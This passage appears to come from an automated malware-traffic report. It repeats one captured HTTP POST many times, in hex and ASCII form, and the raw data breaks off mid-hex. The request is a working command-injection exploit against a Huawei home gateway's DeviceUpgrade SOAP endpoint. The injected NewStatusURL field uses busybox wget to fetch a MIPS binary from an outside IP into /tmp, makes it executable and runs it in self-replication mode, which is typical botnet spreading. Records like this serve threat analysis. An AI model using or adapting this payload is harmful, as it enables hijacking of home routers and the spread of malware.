3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 